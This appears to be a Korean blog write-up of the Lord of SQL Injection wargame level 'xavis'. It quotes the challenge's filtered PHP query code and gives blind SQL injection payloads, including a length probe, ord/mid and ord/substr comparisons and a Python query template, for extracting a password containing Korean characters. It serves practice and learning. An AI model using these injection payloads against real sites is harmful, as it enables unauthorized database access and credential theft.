klaus

[Lord of SQL Injection] xavis 19번 (feat. 한글...) 본문

모의해킹/Wargame

[Lord of SQL Injection] xavis 19번 (feat. 한글...)

klus! 2023. 1. 12. 14:58

0 . xavis 

... 이미지가 따로 없는 듯하다 못찾음.

1. 전체 소스 코드

 

2. 주요 코드 분석

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");

1) Preg_match 함수

/prob

_

.

( )

regex, like

필터링되고 /i를 통해 대소문자 구별을 하지 않습니다.

아직까지 다른점은 regex, like이 추가적으로 필터링 된다는 점이 있습니다.

그리고 Solve되려면 입력받은 pw가 DB에 저장된 것과 동일해야 됩니다.

즉, Blind SQLi로 문제를 풀어보겠습니다.

 

3. Solve

?pw=1' or length(pw)='12를 입력하였을 때, "hello admin"으로 출력되는 것을 보아 pw길이는 12로 확인하였습니다.

 

 

그리고.......

ORC 4번 문제처럼 string함수를 사용하여 여러 문자를 대입하였으나. 풀리지 않는다.

https://toriyong.tistory.com/36

아스키 함수를 모두 대입하였으나, 문제는 풀리지 않는다. 고생을 하다 찾아보니

패이로드는 ord()함수 사용해서 작성해야한다는 점

그래서 범위를 확인하였으나,?pw=1' or '1'='1' and ord(mid(pw,1,1))>'#

?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))>%27 44032에서

?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))<%27 55215 까지

범위가....11,183개를 하나씩 대입하기에는 힘들 것 같아 더 이상은 한땀한땀 작성하기에는 힘들 것 같아

파이썬을 사용하여 작성해야할 것 같습니다.

이번 문제의 중요한 키는

더보기

query=url+"?pw=' or id='admin' and ord(substr(pw,{},1))>={}%23"

사용하여 문제를 풀 수 있다.

 

 

 

 

Comments